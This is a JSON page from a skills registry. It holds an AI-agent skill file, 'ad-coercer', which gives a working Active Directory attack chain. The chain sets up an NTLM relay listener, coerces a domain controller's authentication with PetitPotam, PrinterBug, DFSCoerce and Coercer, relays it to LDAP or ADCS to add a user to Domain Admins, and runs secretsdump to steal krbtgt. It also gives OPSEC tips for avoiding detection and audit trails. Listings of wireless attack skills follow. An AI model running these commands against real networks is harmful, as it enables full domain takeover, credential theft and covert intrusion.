[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M75Q0RPZ932SCK17RPW4WMFC":3,"skill-same:01M75Q0RPZ932SCK17RPW4WMFC":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M75Q0RPZ932SCK17RPW4WMFC","ad-coercer",null,"Authentication coercion against Windows \u002F AD — PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), Coercer.py meta-tool. Force a Windows machine to NTLM-authenticate to attacker, then relay or crack offline.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fcoercer\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: ad-coercer\ndescription: \"Authentication coercion against Windows \u002F AD — PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), Coercer.py meta-tool. Force a Windows machine to NTLM-authenticate to attacker, then relay or crack offline.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"petitpotam printerbug dfscoerce shadowcoerce coercer msefsr msrprn msdfsnm msfsrvp authentication coercion ntlm relay\"\n  subdomain: ad\n  tags: ad, coercion, ntlm-relay, petitpotam\n  mitre_attack: T1187, T1557.001\n---\n\n# Authentication Coercion (PetitPotam family)\n\nForce a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via `ntlmrelayx`) or crack it offline.\n\n## The family of coercion vulnerabilities\n\n| Vector | Protocol | RPC | Mitigated by |\n|---|---|---|---|\n| **PetitPotam** | MS-EFSR (Encrypting File System Remote) | `EfsRpcOpenFileRaw` | KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods |\n| **PrinterBug** | MS-RPRN (Print System Remote) | `RpcRemoteFindFirstPrinterChangeNotificationEx` | Disable Print Spooler |\n| **DFSCoerce** | MS-DFSNM (Distributed File System) | `NetrDfsGetVersion`, `NetrDfsRemoveStdRoot` | Restrict DFSN to admins |\n| **ShadowCoerce** | MS-FSRVP (File Server Remote VSS) | `IsPathSupported` | KB5015527 (Jul 2022) |\n| **CheeseOunce \u002F WebDavCoerce** | WebDAV WebClient | (various) | Disable WebClient service |\n\nAll four boil down to: an unauthenticated\u002Flow-priv RPC call that triggers the target to authenticate outbound.\n\n## Workflow\n\n### 1. Set up the listener (attacker)\n\n```bash\n# Option A: ntlmrelayx (relay auth to a useful service)\nsudo impacket-ntlmrelayx -t ldap:\u002F\u002Fdc.target.local --escalate-user lowpriv -smb2support\n# OR relay to ADCS for cert-based domain admin:\nsudo impacket-ntlmrelayx -t http:\u002F\u002Fca.target.local\u002Fcertsrv\u002Fcertfnsh.asp \\\n  -smb2support --adcs --template DomainController\n\n# Option B: just capture the hash\nsudo impacket-ntlmrelayx -t ldap:\u002F\u002Fdc.target.local --no-smb-server\n# OR with responder\nsudo responder -I eth0\n```\n\n### 2. Coerce auth from a target machine\n\n```bash\n# Coercer — meta-tool, tries every vector\ngit clone https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer\nsudo python3 Coercer.py coerce -l \u003Cattacker_ip> -t \u003Ctarget_ip> -u 'low_priv_user' -p 'pass'\n# or anonymous (often works pre-PetitPotam patch):\nsudo python3 Coercer.py coerce -l \u003Cattacker_ip> -t \u003Ctarget_ip> -u '' -p ''\n\n# Or individual scripts:\npython3 PetitPotam.py \u003Cattacker_ip> \u003Ctarget_ip>\npython3 dfscoerce.py -u lowpriv -p pass \u003Cattacker_ip> \u003Ctarget_ip>\npython3 printerbug.py target.local\u002Fuser:pass@\u003Ctarget_ip> \u003Cattacker_ip>\n```\n\n### 3. Catch the auth → escalate\n\n```\n[ntlmrelayx] SMBD-Thread-X: Received connection from \u003Ctarget_ip>, attacking target ldap:\u002F\u002Fdc.target.local\n[ntlmrelayx] Authenticating against ldap:\u002F\u002Fdc.target.local as TARGET\\DC$ SUCCEED\n[ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEED\n```\n\nIf you relayed to ADCS:\n```\n[ntlmrelayx] GOT CERTIFICATE! ID 1234\n[ntlmrelayx] Base64 certificate of user DC$: MII...\n```\nThen use that cert with `certipy auth -pfx dc.pfx -username 'dc$' -domain target.local`.\n\n## Why coerce DC$? — The privilege escalation chain\n\nThe DC's machine account (`DC$`) has `Replicating Directory Changes` permission. With its NTLM hash or TGT, you DCSync and own the domain:\n\n```bash\n# After getting DC$ cert from ADCS relay:\ncertipy auth -pfx dc.pfx -username 'dc$' -domain target.local\n# Returns TGT\nimpacket-secretsdump -k -no-pass target.local\u002Fdc$@dc.target.local\n# Dumps krbtgt — full domain compromise\n```\n\n## Targets that work\n\n- Any unpatched DC (most environments still have PetitPotam variants)\n- Any server with Print Spooler running (PrinterBug)\n- Any Windows server with DFS Namespace (often DCs + file servers)\n- ADCS Web Enrollment endpoint (relay to it for cert-based DA)\n\n## OPSEC\n\n- Coercion attempts log `EFSRPC_*` \u002F `RPRN_*` event sources on the target — usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity).\n- Inbound NTLM authentication from a DC to a non-domain workstation is a strong signal — relay to a host that legitimately receives auth (a file server, a printer-ish hostname).\n- Use a coercion vector that DOESN'T require credentials (PetitPotam unauthenticated path, ShadowCoerce) if possible — leaves no user-level audit trace.\n\n## References\n\n- topotam77's PetitPotam — github.com\u002Ftopotam\u002FPetitPotam\n- p0dalirius's Coercer — github.com\u002Fp0dalirius\u002FCoercer\n- dirkjanm's \"Relaying NTLM auth\" series\n- SpecterOps \"Coercing AD auth\" cheat sheet\n- ADCS abuse: SpecterOps \"Certified Pre-Owned\" whitepaper\n","# Authentication Coercion (PetitPotam family)\n\nForce a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via `ntlmrelayx`) or crack it offline.\n\n## The family of coercion vulnerabilities\n\n| Vector | Protocol | RPC | Mitigated by |\n|---|---|---|---|\n| **PetitPotam** | MS-EFSR (Encrypting File System Remote) | `EfsRpcOpenFileRaw` | KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods |\n| **PrinterBug** | MS-RPRN (Print System Remote) | `RpcRemoteFindFirstPrinterChangeNotificationEx` | Disable Print Spooler |\n| **DFSCoerce** | MS-DFSNM (Distributed File System) | `NetrDfsGetVersion`, `NetrDfsRemoveStdRoot` | Restrict DFSN to admins |\n| **ShadowCoerce** | MS-FSRVP (File Server Remote VSS) | `IsPathSupported` | KB5015527 (Jul 2022) |\n| **CheeseOunce \u002F WebDavCoerce** | WebDAV WebClient | (various) | Disable WebClient service |\n\nAll four boil down to: an unauthenticated\u002Flow-priv RPC call that triggers the target to authenticate outbound.\n\n## Workflow\n\n### 1. Set up the listener (attacker)\n\n```bash\n# Option A: ntlmrelayx (relay auth to a useful service)\nsudo impacket-ntlmrelayx -t ldap:\u002F\u002Fdc.target.local --escalate-user lowpriv -smb2support\n# OR relay to ADCS for cert-based domain admin:\nsudo impacket-ntlmrelayx -t http:\u002F\u002Fca.target.local\u002Fcertsrv\u002Fcertfnsh.asp \\\n  -smb2support --adcs --template DomainController\n\n# Option B: just capture the hash\nsudo impacket-ntlmrelayx -t ldap:\u002F\u002Fdc.target.local --no-smb-server\n# OR with responder\nsudo responder -I eth0\n```\n\n### 2. Coerce auth from a target machine\n\n```bash\n# Coercer — meta-tool, tries every vector\ngit clone https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer\nsudo python3 Coercer.py coerce -l \u003Cattacker_ip> -t \u003Ctarget_ip> -u 'low_priv_user' -p 'pass'\n# or anonymous (often works pre-PetitPotam patch):\nsudo python3 Coercer.py coerce -l \u003Cattacker_ip> -t \u003Ctarget_ip> -u '' -p ''\n\n# Or individual scripts:\npython3 PetitPotam.py \u003Cattacker_ip> \u003Ctarget_ip>\npython3 dfscoerce.py -u lowpriv -p pass \u003Cattacker_ip> \u003Ctarget_ip>\npython3 printerbug.py target.local\u002Fuser:pass@\u003Ctarget_ip> \u003Cattacker_ip>\n```\n\n### 3. Catch the auth → escalate\n\n```\n[ntlmrelayx] SMBD-Thread-X: Received connection from \u003Ctarget_ip>, attacking target ldap:\u002F\u002Fdc.target.local\n[ntlmrelayx] Authenticating against ldap:\u002F\u002Fdc.target.local as TARGET\\DC$ SUCCEED\n[ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEED\n```\n\nIf you relayed to ADCS:\n```\n[ntlmrelayx] GOT CERTIFICATE! ID 1234\n[ntlmrelayx] Base64 certificate of user DC$: MII...\n```\nThen use that cert with `certipy auth -pfx dc.pfx -username 'dc$' -domain target.local`.\n\n## Why coerce DC$? — The privilege escalation chain\n\nThe DC's machine account (`DC$`) has `Replicating Directory Changes` permission. With its NTLM hash or TGT, you DCSync and own the domain:\n\n```bash\n# After getting DC$ cert from ADCS relay:\ncertipy auth -pfx dc.pfx -username 'dc$' -domain target.local\n# Returns TGT\nimpacket-secretsdump -k -no-pass target.local\u002Fdc$@dc.target.local\n# Dumps krbtgt — full domain compromise\n```\n\n## Targets that work\n\n- Any unpatched DC (most environments still have PetitPotam variants)\n- Any server with Print Spooler running (PrinterBug)\n- Any Windows server with DFS Namespace (often DCs + file servers)\n- ADCS Web Enrollment endpoint (relay to it for cert-based DA)\n\n## OPSEC\n\n- Coercion attempts log `EFSRPC_*` \u002F `RPRN_*` event sources on the target — usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity).\n- Inbound NTLM authentication from a DC to a non-domain workstation is a strong signal — relay to a host that legitimately receives auth (a file server, a printer-ish hostname).\n- Use a coercion vector that DOESN'T require credentials (PetitPotam unauthenticated path, ShadowCoerce) if possible — leaves no user-level audit trace.\n\n## References\n\n- topotam77's PetitPotam — github.com\u002Ftopotam\u002FPetitPotam\n- p0dalirius's Coercer — github.com\u002Fp0dalirius\u002FCoercer\n- dirkjanm's \"Relaying NTLM auth\" series\n- SpecterOps \"Coercing AD auth\" cheat sheet\n- ADCS abuse: SpecterOps \"Certified Pre-Owned\" whitepaper\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"ad, coercion, ntlm-relay, petitpotam","ad","petitpotam printerbug dfscoerce shadowcoerce coercer msefsr msrprn msdfsnm msfsrvp authentication coercion ntlm relay","T1187, T1557.001","Bash Read Write","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fcoercer","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill ad-coercer",{"tool":42,"command":43},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill ad-coercer",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill ad-coercer","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fad\u002Fcoercer\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]